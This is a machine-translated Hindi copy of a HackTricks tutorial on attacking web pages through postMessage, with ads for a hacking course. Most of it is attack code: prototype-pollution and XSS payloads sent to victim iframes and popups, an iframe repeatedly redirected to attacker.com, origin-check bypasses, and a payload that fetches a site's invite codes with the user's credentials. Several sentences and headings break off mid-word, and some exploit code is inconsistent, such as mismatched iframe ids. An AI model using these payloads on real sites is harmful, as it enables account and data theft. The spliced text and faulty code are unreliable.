PostMessage Vulnerabilities

PostMessage वंरबिलिटी

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

PostMessage भेजें

PostMessage एक संदेश भेजने के लिए निम्नलिखित फ़ंक्शन का उपयोग करता है:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

ध्यान दें कि targetOrigin एक '*' या एक URL जैसे https://company.com हो सकता है। दूसरे स्थिति में, संदेश केवल उस डोमेन पर भेजा जा सकता है (यदि विंडो ऑब्ज

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

addEventListener शोषण

addEventListener वह फ़ंक्शन है जिसका उपयोग JS द्वारा किया जाता है जो postMessages की अपेक्षा कर रहा है। निम्नलिखित कोड का उपयोग किया जाएगा:

window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);

गणना

वर्तमान पृष्ठ में इवेंट लिस्टनर्स खोजने के लिए आप:

  • JS कोड में window.addEventListener और $(window).on (JQuery version) के लिए खोज करें

  • डेवलपर टूल्स कांसोल में निम्नलिखित को एक्सीक्यूट करें: getEventListeners(window)

  • ब्राउज़र के डेवलपर टूल्स में Elements --> Event Listeners पर जाएं

  • https://github.com/benso-io/posta या https://github.com/fransr/postMessage-tracker जैसा ब्राउज़र एक्सटेंशन उपयोग करें। ये ब्राउज़र एक्सटेंशन सभी संदेशों को अंतर्दृष्टि करेंगे और आपको उन्हें दिखाएंगे।

मूल की जाँच छल

  • event.isTrusted विशेषता को सुरक्षित माना जाता है क्योंकि यह केवल वास्तविक उपयोगकर्ता क्रियाओं द्वारा उत्पन्न इवेंट्स के लिए True लौटाता है। यदि सही ढंग से लागू किया गया है, तो इसे छलने में कठिनाई होती है, लेकिन सुरक्षा जांचों में इसका महत्व विशेष है।

  • PostMessage इवेंट में मूल की जाँच के लिए indexOf() का उपयोग छलने के लिए संभावित है। इस वंशानुक्रमण को दिखाने वाला एक उदाहरण निम्नलिखित है:

("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
  • String.prototype.search() से search() विधि नियमित अभिव्यक्तियों के लिए है, स्ट्रिंग्स के लिए नहीं। रेगुलर एक्सप्रेशन के लिए कुछ भी नहीं पास करने से इसे इम्प्लिसिट रूप से रेगेक्स में बदल दिया जाता है, जिससे विधि संभावना सुरक्षित नहीं होती है। इसका कारण यह है कि रेगेक्स में डॉट (.) एक वाइल्डकार्ड के रूप में काम करता है, जिससे विशेष रूप से तैयार किए गए डोमेन के साथ मान्यता को छल सकती है। उदाहरण के रूप में:

"https://www.safedomain.com".search("www.s.fedomain.com")
  • search() की तरह, match() फ़ंक्शन भी रेगेक्स को प्रोसेस करता है। यदि रेगेक्स गलती से निर्मित है, तो छलने के लिए संभावना हो सकती है।

  • escapeHtml फ़ंक्शन इनपुट को एस्केप करके साफ करने के लिए है। हालांकि, यह एक नया एस्केप्ड ऑब्ज

// If it’s not, return immediately.
if( received_message.source !== window ) {
return;
}

आप एक आइफ्रेम बना सकते हैं जो postMessage भेजता है और तुरंत हटा दिया जाता है, जिससे संदेश का e.source नल होने के लिए बनाया जा सकता है।

अधिक जानकारी के लिए पढ़ें:

pageBypassing SOP with Iframes - 2

X-Frame-Header बाइपास

इन हमलों को करने के लिए आपको आमतौर पर विक्टिम वेब पेज को एक आइफ्रेम में डालने की सुविधा होनी चाहिए। लेकिन कुछ हेडर्स जैसे X-Frame-Header ऐसा व्यवहार रोक सकते हैं। उन स्थितियों में आप एक कम गुप्त धारण का उपयोग कर सकते हैं। आप विकल्पित वेब एप्लिकेशन के लिए एक नया टैब खोल सकते हैं और इसके साथ संवाद कर सकते हैं:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

मुख्य पृष्ठ को ब्लॉक करके बच्चे को भेजे गए संदेश को चुराना

निम्नलिखित पृष्ठ पर आप देख सकते हैं कि आप मुख्य पृष्ठ को ब्लॉक करके डेटा भेजने से पहले एक बच्चा आइफ्रेम को चुराने के लिए कैसे उपयोग कर सकते हैं संवेदनशील पोस्टमैसेज डेटा और बच्चे में XSS का दुरुपयोग करके डेटा चुराने:

pageBlocking main page to steal postmessage

आइफ्रेम स्थान को संशोधित करके संदेश चुर

<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}

setTimeout(get_code, 2000);
</script>
</body>
</html>

अधिक जानकारी के लिए:

संदर्भ

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated